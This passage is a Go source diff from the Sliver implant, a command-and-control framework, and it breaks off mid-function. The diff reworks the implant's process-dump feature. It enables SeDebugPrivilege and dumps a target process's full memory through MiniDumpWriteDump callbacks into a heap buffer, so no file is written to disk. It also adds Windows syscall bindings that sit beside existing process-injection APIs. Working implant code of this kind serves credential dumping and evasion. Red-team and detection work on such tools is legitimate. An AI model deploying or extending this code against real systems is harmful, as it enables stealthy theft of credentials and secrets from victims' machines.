|
||||
|
||||
currentPrivInfo.Name, currentPrivInfo.Description, err = lookupPrivilegeNameByLUID(luid)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not get privilege info based on the LUID: ", err)
|
||||
// {{end}}
|
||||
return privInfo, integrity, processName, err
|
||||
}
|
||||
|
||||
// Figure out the attributes
|
||||
currentPrivInfo.EnabledByDefault = (attributes & windows.SE_PRIVILEGE_ENABLED_BY_DEFAULT) > 0
|
||||
currentPrivInfo.UsedForAccess = (attributes & windows.SE_PRIVILEGE_USED_FOR_ACCESS) > 0
|
||||
currentPrivInfo.Enabled = (attributes & windows.SE_PRIVILEGE_ENABLED) > 0
|
||||
currentPrivInfo.Removed = (attributes & windows.SE_PRIVILEGE_REMOVED) > 0
|
||||
|
||||
privInfo[index] = currentPrivInfo
|
||||
}
|
||||
|
||||
// Get the process integrity before we leave
|
||||
integrity, err = getProcessIntegrityLevel(tokenHandle)
|
||||
|
||||
if err != nil {
|
||||
return privInfo, "Could not determine integrity level", processName, err
|
||||
}
|
||||
|
||||
return privInfo, integrity, processName, nil
|
||||
}
|
||||
@@ -20,8 +20,6 @@ package procdump
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
"log"
|
||||
//{{end}}
|
||||
@@ -31,17 +29,56 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/evasion"
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
"os"
|
||||
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"golang.org/x/sys/windows"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
ModuleCallback = iota
|
||||
ThreadCallback
|
||||
ThreadExCallback
|
||||
IncludeThreadCallback
|
||||
IncludeModuleCallback
|
||||
MemoryCallback
|
||||
CancelCallback
|
||||
WriteKernelMinidumpCallback
|
||||
KernelMinidumpStatusCallback
|
||||
RemoveMemoryCallback
|
||||
IncludeVmRegionCallback
|
||||
IoStartCallback
|
||||
IoWriteAllCallback
|
||||
IoFinishCallback
|
||||
ReadMemoryFailureCallback
|
||||
SecondaryFlagsCallback
|
||||
IsProcessSnapshotCallback
|
||||
VmStartCallback
|
||||
VmQueryCallback
|
||||
VmPreReadCallback
|
||||
VmPostReadCallback
|
||||
|
||||
S_FALSE = 1
|
||||
S_OK = 0
|
||||
TRUE = 1
|
||||
FALSE = 0
|
||||
IncrementSize = 5 * 1024 * 1024
|
||||
MiniDumpWithFullMemory = 0x00000002
|
||||
)
|
||||
|
||||
var bytesRead uint32 = 0
|
||||
|
||||
type WindowsDump struct {
|
||||
data []byte
|
||||
}
|
||||
|
||||
type outDump struct {
|
||||
outPtr uintptr
|
||||
}
|
||||
|
||||
func (d *WindowsDump) Data() []byte {
|
||||
return d.data
|
||||
}
|
||||
@@ -50,7 +87,7 @@ func dumpProcess(pid int32) (ProcessDump, error) {
|
||||
var lpTargetHandle windows.Handle
|
||||
res := &WindowsDump{}
|
||||
if err := priv.SePrivEnable("SeDebugPrivilege"); err != nil {
|
||||
return res, fmt.Errorf("Could not set SeDebugPrivilege on", pid)
|
||||
return res, err
|
||||
}
|
||||
|
||||
hProc, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(pid))
|
||||
@@ -68,9 +105,7 @@ func dumpProcess(pid int32) (ProcessDump, error) {
|
||||
// {{end}}
|
||||
return res, err
|
||||
}
|
||||
if err != nil {
|
||||
return res, err
|
||||
}
|
||||
|
||||
if hProc != 0 {
|
||||
return minidump(uint32(pid), lpTargetHandle)
|
||||
}
|
||||
@@ -91,35 +126,188 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
|
||||
}
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
// TODO: find a better place to store the dump file
|
||||
f, err := ioutil.TempFile("", "")
|
||||
|
||||
heapHandle, err := syscalls.GetProcessHeap()
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Failed to create temp file:", err)
|
||||
//{{end}}
|
||||
return dump, err
|
||||
}
|
||||
|
||||
procMemCounters := syscalls.ProcessMemoryCounters{}
|
||||
sizeOfMemCounters := uint32(unsafe.Sizeof(procMemCounters))
|
||||
err = syscalls.GetProcessMemoryInfo(proc, &procMemCounters, sizeOfMemCounters)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("GetProcessMemoryInfo failed: %s\n", err)
|
||||
// {{end}}
|
||||
return dump, err
|
||||
}
|
||||
|
||||
heapSize := procMemCounters.WorkingSetSize + IncrementSize
|
||||
|
||||
dumpBuffer, err := syscalls.HeapAlloc(heapHandle, 0x00000008, uintptr(heapSize))
|
||||
if err != nil {
|
||||
return dump, err
|
||||
}
|
||||
stdOutHandle := f.Fd()
|
||||
err = syscalls.MiniDumpWriteDump(proc, pid, stdOutHandle, 3, 0, 0, 0)
|
||||
if err == nil {
|
||||
data, err := ioutil.ReadFile(f.Name())
|
||||
dump.data = data
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("ReadFile failed:", err)
|
||||
//{{end}}
|
||||
return dump, err
|
||||
}
|
||||
os.Remove(f.Name())
|
||||
} else {
|
||||
|
||||
outData := outDump{
|
||||
outPtr: dumpBuffer,
|
||||
}
|
||||
|
||||
callbackInfo := MiniDumpCallbackInformation{
|
||||
CallbackRoutine: windows.NewCallback(minidumpCallback),
|
||||
CallbackParam: uintptr(unsafe.Pointer(&outData)),
|
||||
}
|
||||
|
||||
err = syscalls.MiniDumpWriteDump(
|
||||
proc,
|
||||
pid,
|
||||
0,
|
||||
MiniDumpWithFullMemory,
|
||||
0,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&callbackInfo)),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Minidump syscall failed:", err)
|
||||
//{{end}}
|
||||
return dump, err
|
||||
}
|
||||
outBuff := make([]byte, bytesRead)
|
||||
outBuffAddr := uintptr(unsafe.Pointer(&outBuff[0]))
|
||||
syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, bytesRead)
|
||||
err = syscalls.HeapFree(heapHandle, 0, outData.outPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("HeapFree failed: \n", err)
|
||||
// {{end}}
|
||||
return dump, err
|
||||
}
|
||||
dump.data = outBuff
|
||||
return dump, nil
|
||||
}
|
||||
|
||||
type MiniDumpIOCallback struct {
|
||||
Handle uintptr
|
||||
Offset uint64
|
||||
Buffer uintptr
|
||||
BufferBytes uint32
|
||||
}
|
||||
|
||||
type MiniDumpCallbackInput struct {
|
||||
ProcessId uint32
|
||||
ProcessHandle uintptr
|
||||
CallbackType uint32
|
||||
Io MiniDumpIOCallback
|
||||
}
|
||||
|
||||
type MiniDumpCallbackOutput struct {
|
||||
Status int32
|
||||
}
|
||||
|
||||
type MiniDumpCallbackInformation struct {
|
||||
CallbackRoutine uintptr
|
||||
CallbackParam uintptr
|
||||
}
|
||||
|
||||
func getCallbackInput(callbackInputPtr uintptr) (*MiniDumpCallbackInput, error) {
|
||||
callbackInput := MiniDumpCallbackInput{}
|
||||
ioCallback := MiniDumpIOCallback{}
|
||||
bufferSize := unsafe.Sizeof(callbackInput)
|
||||
data := make([]byte, bufferSize)
|
||||
dataPtr := uintptr(unsafe.Pointer(&data[0]))
|
||||
syscalls.RtlCopyMemory(dataPtr, callbackInputPtr, uint32(bufferSize))
|
||||
buffReader := bytes.NewReader(data)
|
||||
err := binary.Read(buffReader, binary.LittleEndian, &callbackInput.ProcessId)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var procHandle uint64
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &procHandle)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
callbackInput.ProcessHandle = uintptr(procHandle)
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &callbackInput.CallbackType)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var ioHandle uint64
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &ioHandle)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ioCallback.Handle = uintptr(ioHandle)
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.Offset)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var ioBuffer uint64
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &ioBuffer)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ioCallback.Buffer = uintptr(ioBuffer)
|
||||
err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.BufferBytes)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
callbackInput.Io = ioCallback
|
||||
return &callbackInput, nil
|
||||
}
|
||||
|
||||
func minidumpCallback(callbackParam uintptr, callbackInputPtr uintptr, callbackOutput *MiniDumpCallbackOutput) uintptr {
|
||||
callbackInput, err := getCallbackInput(callbackInputPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("getCallbackInput failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
switch callbackInput.CallbackType {
|
||||
case IoStartCallback:
|
||||
callbackOutput.Status = S_FALSE
|
||||
case IoWriteAllCallback:
|
||||
callbackOutput.Status = S_OK
|
||||
outData := (*outDump)(unsafe.Pointer(callbackParam))
|
||||
procHeap, err := syscalls.GetProcessHeap()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback GetProcessHeap failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
currentBuffSize, err := syscalls.HeapSize(procHeap, 0, outData.outPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback HeapSize failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
bytesAndOffset := callbackInput.Io.Offset + uint64(callbackInput.Io.BufferBytes)
|
||||
if bytesAndOffset >= uint64(currentBuffSize) {
|
||||
increasedSize := IncrementSize
|
||||
if bytesAndOffset <= uint64(currentBuffSize*2) {
|
||||
increasedSize = int(currentBuffSize) * 2
|
||||
} else {
|
||||
increasedSize += int(bytesAndOffset)
|
||||
}
|
||||
outData.outPtr, err = syscalls.HeapReAlloc(procHeap, 0, outData.outPtr, uintptr(increasedSize))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("minidumpCallback HeapReAlloc failed: %s\n", err.Error())
|
||||
// {{end}}
|
||||
return FALSE
|
||||
}
|
||||
}
|
||||
destination := outData.outPtr + uintptr(callbackInput.Io.Offset)
|
||||
syscalls.RtlCopyMemory(destination, callbackInput.Io.Buffer, callbackInput.Io.BufferBytes)
|
||||
bytesRead += callbackInput.Io.BufferBytes
|
||||
case IoFinishCallback:
|
||||
callbackOutput.Status = S_OK
|
||||
default:
|
||||
return TRUE
|
||||
}
|
||||
return TRUE
|
||||
}
|
||||
@@ -5,6 +5,8 @@ package syscalls
|
||||
//sys InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) = kernel32.InitializeProcThreadAttributeList
|
||||
//sys GetProcessHeap() (procHeap windows.Handle, err error) = kernel32.GetProcessHeap
|
||||
//sys HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) = kernel32.HeapAlloc
|
||||
//sys HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) = kernel32.HeapReAlloc
|
||||
//sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
|
||||
//sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
|
||||
//sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
|
||||
//sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
|
||||
@@ -35,3 +37,9 @@ package syscalls
|
||||
//sys SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) = Gdi32.SelectObject
|
||||
//sys BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) = Gdi32.BitBlt
|
||||
//sys GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) = Gdi32.GetDIBits
|
||||
//sys PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) = kernel32.PssCaptureSnapshot
|
||||
|
||||
//sys RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) = ntdll.RtlCopyMemory
|
||||
//sys GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) = psapi.GetProcessMemoryInfo
|
||||
//sys LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) = advapi32.LookupPrivilegeNameW
|
||||
//sys LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) = advapi32.LookupPrivilegeDisplayNameW
|
||||
@@ -5,6 +5,40 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
PSS_CAPTURE_NONE = iota
|
||||
PSS_CAPTURE_VA_CLONE
|
||||
PSS_CAPTURE_RESERVED_00000002
|
||||
PSS_CAPTURE_HANDLES
|
||||
PSS_CAPTURE_HANDLE_NAME_INFORMATION
|
||||
PSS_CAPTURE_HANDLE_BASIC_INFORMATION
|
||||
PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION
|
||||
PSS_CAPTURE_HANDLE_TRACE
|
||||
PSS_CAPTURE_THREADS
|
||||
PSS_CAPTURE_THREAD_CONTEXT
|
||||
PSS_CAPTURE_THREAD_CONTEXT_EXTENDED
|
||||
PSS_CAPTURE_RESERVED_00000400
|
||||
PSS_CAPTURE_VA_SPACE
|
||||
PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION
|
||||
PSS_CAPTURE_IPT_TRACE
|
||||
PSS_CAPTURE_RESERVED_00004000
|
||||
PSS_CREATE_BREAKAWAY_OPTIONAL
|
||||
PSS_CREATE_BREAKAWAY
|
||||
PSS_CREATE_FORCE_BREAKAWAY
|
||||
PSS_CREATE_USE_VM_ALLOCATIONS
|
||||
PSS_CREATE_MEASURE_PERFORMANCE
|
||||
PSS_CREATE_RELEASE_SECTION
|
||||
|
||||
CONTEXT_i386 = 0x10000
|
||||
CONTEXT_i486 = 0x10000 // same as i386
|
||||
CONTEXT_CONTROL = CONTEXT_i386 | 0x01 // SS:SP, CS:IP, FLAGS, BP
|
||||
CONTEXT_INTEGER = CONTEXT_i386 | 0x02 // AX, BX, CX, DX, SI, DI
|
||||
CONTEXT_SEGMENTS = CONTEXT_i386 | 0x0 // DS, ES, FS, GS
|
||||
CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08 // 387 state
|
||||
CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10 // DB 0-3,6,7
|
||||
CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20 // cpu specific extensions
|
||||
CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS
|
||||
CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
|
||||
|
||||
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
|
||||
LOGON32_LOGON_INTERACTIVE = 2
|
||||
LOGON32_LOGON_NETWORK = 3
|
||||
@@ -84,6 +118,19 @@ type MONITORINFO struct {
|
||||
DwFlags uint32
|
||||
}
|
||||
|
||||
type ProcessMemoryCounters struct {
|
||||
Cb uint32
|
||||
PageFaultCount uint32
|
||||
PeakWorkingSetSize int
|
||||
WorkingSetSize int
|
||||
QuotaPeakPagedPoolUsage int
|
||||
QuotaPagedPoolUsage int
|
||||
QuotaPeakNonPagedPoolUsage int
|
||||
QuotaNonPagedPoolUsage int
|
||||
PagefileUsage int
|
||||
PeakPagefileUsage int
|
||||
}
|
||||
|
||||
const (
|
||||
CCHDEVICENAME = 32
|
||||
CCHFORMNAME = 32
|
||||
|
||||
@@ -19,6 +19,7 @@ const (
|
||||
|
||||
var (
|
||||
errERROR_IO_PENDING error = syscall.Errno(errnoERROR_IO_PENDING)
|
||||
errERROR_EINVAL error = syscall.EINVAL
|
||||
)
|
||||
|
||||
// errnoErr returns common boxed Errno values, to prevent
|
||||
@@ -26,7 +27,7 @@ var (
|
||||
func errnoErr(e syscall.Errno) error {
|
||||
switch e {
|
||||
case 0:
|
||||
return nil
|
||||
return errERROR_EINVAL
|
||||
case errnoERROR_IO_PENDING:
|
||||
return errERROR_IO_PENDING
|
||||
}
|
||||
@@ -37,92 +38,235 @@ func errnoErr(e syscall.Errno) error {
|
||||
}
|
||||
|
||||
var (
|
||||
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
modDbgHelp = windows.NewLazySystemDLL("DbgHelp.dll")
|
||||
modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
|
||||
modUser32 = windows.NewLazySystemDLL("User32.dll")
|
||||
modGdi32 = windows.NewLazySystemDLL("Gdi32.dll")
|
||||
modKernel32 = windows.NewLazySystemDLL("Kernel32.dll")
|
||||
modUser32 = windows.NewLazySystemDLL("User32.dll")
|
||||
modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
|
||||
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
modntdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||
modpsapi = windows.NewLazySystemDLL("psapi.dll")
|
||||
|
||||
procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
|
||||
procGetProcessHeap = modkernel32.NewProc("GetProcessHeap")
|
||||
procHeapAlloc = modkernel32.NewProc("HeapAlloc")
|
||||
procUpdateProcThreadAttribute = modkernel32.NewProc("UpdateProcThreadAttribute")
|
||||
procCreateProcessW = modkernel32.NewProc("CreateProcessW")
|
||||
procVirtualAllocEx = modkernel32.NewProc("VirtualAllocEx")
|
||||
procWriteProcessMemory = modkernel32.NewProc("WriteProcessMemory")
|
||||
procVirtualProtectEx = modkernel32.NewProc("VirtualProtectEx")
|
||||
procQueueUserAPC = modkernel32.NewProc("QueueUserAPC")
|
||||
procDeleteProcThreadAttributeList = modkernel32.NewProc("DeleteProcThreadAttributeList")
|
||||
procHeapFree = modkernel32.NewProc("HeapFree")
|
||||
procCreateRemoteThread = modkernel32.NewProc("CreateRemoteThread")
|
||||
procCreateThread = modkernel32.NewProc("CreateThread")
|
||||
procGetExitCodeThread = modkernel32.NewProc("GetExitCodeThread")
|
||||
procMiniDumpWriteDump = modDbgHelp.NewProc("MiniDumpWriteDump")
|
||||
procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
|
||||
procLogonUserW = modadvapi32.NewProc("LogonUserW")
|
||||
procGetDC = modUser32.NewProc("GetDC")
|
||||
procReleaseDC = modUser32.NewProc("ReleaseDC")
|
||||
procCreateCompatibleDC = modGdi32.NewProc("CreateCompatibleDC")
|
||||
procGetDesktopWindow = modUser32.NewProc("GetDesktopWindow")
|
||||
procDeleteDC = modGdi32.NewProc("DeleteDC")
|
||||
procBitBlt = modGdi32.NewProc("BitBlt")
|
||||
procCreateCompatibleBitmap = modGdi32.NewProc("CreateCompatibleBitmap")
|
||||
procCreateCompatibleDC = modGdi32.NewProc("CreateCompatibleDC")
|
||||
procDeleteDC = modGdi32.NewProc("DeleteDC")
|
||||
procDeleteObject = modGdi32.NewProc("DeleteObject")
|
||||
procGetDIBits = modGdi32.NewProc("GetDIBits")
|
||||
procSelectObject = modGdi32.NewProc("SelectObject")
|
||||
procGlobalAlloc = modKernel32.NewProc("GlobalAlloc")
|
||||
procGlobalFree = modKernel32.NewProc("GlobalFree")
|
||||
procGlobalLock = modKernel32.NewProc("GlobalLock")
|
||||
procGlobalUnlock = modKernel32.NewProc("GlobalUnlock")
|
||||
procSelectObject = modGdi32.NewProc("SelectObject")
|
||||
procBitBlt = modGdi32.NewProc("BitBlt")
|
||||
procGetDIBits = modGdi32.NewProc("GetDIBits")
|
||||
procGetDC = modUser32.NewProc("GetDC")
|
||||
procGetDesktopWindow = modUser32.NewProc("GetDesktopWindow")
|
||||
procReleaseDC = modUser32.NewProc("ReleaseDC")
|
||||
procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
|
||||
procLogonUserW = modadvapi32.NewProc("LogonUserW")
|
||||
procLookupPrivilegeDisplayNameW = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
|
||||
procLookupPrivilegeNameW = modadvapi32.NewProc("LookupPrivilegeNameW")
|
||||
procCreateProcessW = modkernel32.NewProc("CreateProcessW")
|
||||
procCreateRemoteThread = modkernel32.NewProc("CreateRemoteThread")
|
||||
procCreateThread = modkernel32.NewProc("CreateThread")
|
||||
procDeleteProcThreadAttributeList = modkernel32.NewProc("DeleteProcThreadAttributeList")
|
||||
procGetExitCodeThread = modkernel32.NewProc("GetExitCodeThread")
|
||||
procGetProcessHeap = modkernel32.NewProc("GetProcessHeap")
|
||||
procHeapAlloc = modkernel32.NewProc("HeapAlloc")
|
||||
procHeapFree = modkernel32.NewProc("HeapFree")
|
||||
procHeapReAlloc = modkernel32.NewProc("HeapReAlloc")
|
||||
procHeapSize = modkernel32.NewProc("HeapSize")
|
||||
procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
|
||||
procPssCaptureSnapshot = modkernel32.NewProc("PssCaptureSnapshot")
|
||||
procQueueUserAPC = modkernel32.NewProc("QueueUserAPC")
|
||||
procUpdateProcThreadAttribute = modkernel32.NewProc("UpdateProcThreadAttribute")
|
||||
procVirtualAllocEx = modkernel32.NewProc("VirtualAllocEx")
|
||||
procVirtualProtectEx = modkernel32.NewProc("VirtualProtectEx")
|
||||
procWriteProcessMemory = modkernel32.NewProc("WriteProcessMemory")
|
||||
procRtlCopyMemory = modntdll.NewProc("RtlCopyMemory")
|
||||
procGetProcessMemoryInfo = modpsapi.NewProc("GetProcessMemoryInfo")
|
||||
)
|
||||
|
||||
func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0)
|
||||
func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall9(procMiniDumpWriteDump.Addr(), 7, uintptr(hProcess), uintptr(pid), uintptr(hFile), uintptr(dumpType), uintptr(exceptionParam), uintptr(userStreamParam), uintptr(callbackParam), 0, 0)
|
||||
if r1 == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GetProcessHeap() (procHeap windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGetProcessHeap.Addr(), 0, 0, 0, 0)
|
||||
procHeap = windows.Handle(r0)
|
||||
if procHeap == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
func BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) {
|
||||
r0, _, e1 := syscall.Syscall9(procBitBlt.Addr(), 9, uintptr(hdc), uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), uintptr(hdcSrc), uintptr(x1), uintptr(y1), uintptr(rop))
|
||||
BOOL = int(r0)
|
||||
if BOOL == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procHeapAlloc.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(dwBytes))
|
||||
lpMem = uintptr(r0)
|
||||
if lpMem == 0 {
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
} else {
|
||||
err = syscall.EINVAL
|
||||
}
|
||||
func CreateCompatibleBitmap(hdc windows.Handle, cx int, cy int) (HBITMAP windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procCreateCompatibleBitmap.Addr(), 3, uintptr(hdc), uintptr(cx), uintptr(cy))
|
||||
HBITMAP = windows.Handle(r0)
|
||||
if HBITMAP == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) {
|
||||
r1, _, e1 := syscall.Syscall9(procUpdateProcThreadAttribute.Addr(), 7, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwFlags), uintptr(attribute), uintptr(unsafe.Pointer(lpValue)), uintptr(cbSize), uintptr(lpPreviousValue), uintptr(unsafe.Pointer(lpReturnSize)), 0, 0)
|
||||
func CreateCompatibleDC(hdc windows.Handle) (HDC windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procCreateCompatibleDC.Addr(), 1, uintptr(hdc), 0, 0)
|
||||
HDC = windows.Handle(r0)
|
||||
if HDC == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func DeleteDC(hdc windows.Handle) (BOOL uint32, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procDeleteDC.Addr(), 1, uintptr(hdc), 0, 0)
|
||||
BOOL = uint32(r0)
|
||||
if BOOL == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func DeleteObject(ho windows.Handle) (BOOL uint32, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procDeleteObject.Addr(), 1, uintptr(ho), 0, 0)
|
||||
BOOL = uint32(r0)
|
||||
if BOOL == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) {
|
||||
r0, _, e1 := syscall.Syscall9(procGetDIBits.Addr(), 7, uintptr(hdc), uintptr(hbm), uintptr(start), uintptr(cLines), uintptr(lpvBits), uintptr(lpbmi), uintptr(usage), 0, 0)
|
||||
ret = int(r0)
|
||||
if ret == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procSelectObject.Addr(), 2, uintptr(hdc), uintptr(h), 0)
|
||||
HGDIOBJ = windows.Handle(r0)
|
||||
if HGDIOBJ == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GlobalAlloc(uFlags uint, dwBytes uintptr) (HGLOBAL windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGlobalAlloc.Addr(), 2, uintptr(uFlags), uintptr(dwBytes), 0)
|
||||
HGLOBAL = windows.Handle(r0)
|
||||
if HGLOBAL == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GlobalFree(hMem windows.Handle) (HGLOBAL windows.Handle, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procGlobalFree.Addr(), 1, uintptr(hMem), 0, 0)
|
||||
HGLOBAL = windows.Handle(r0)
|
||||
if HGLOBAL == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func GlobalLock(hMem windows.Handle) (LPVOID uintptr, err error) {
|
||||
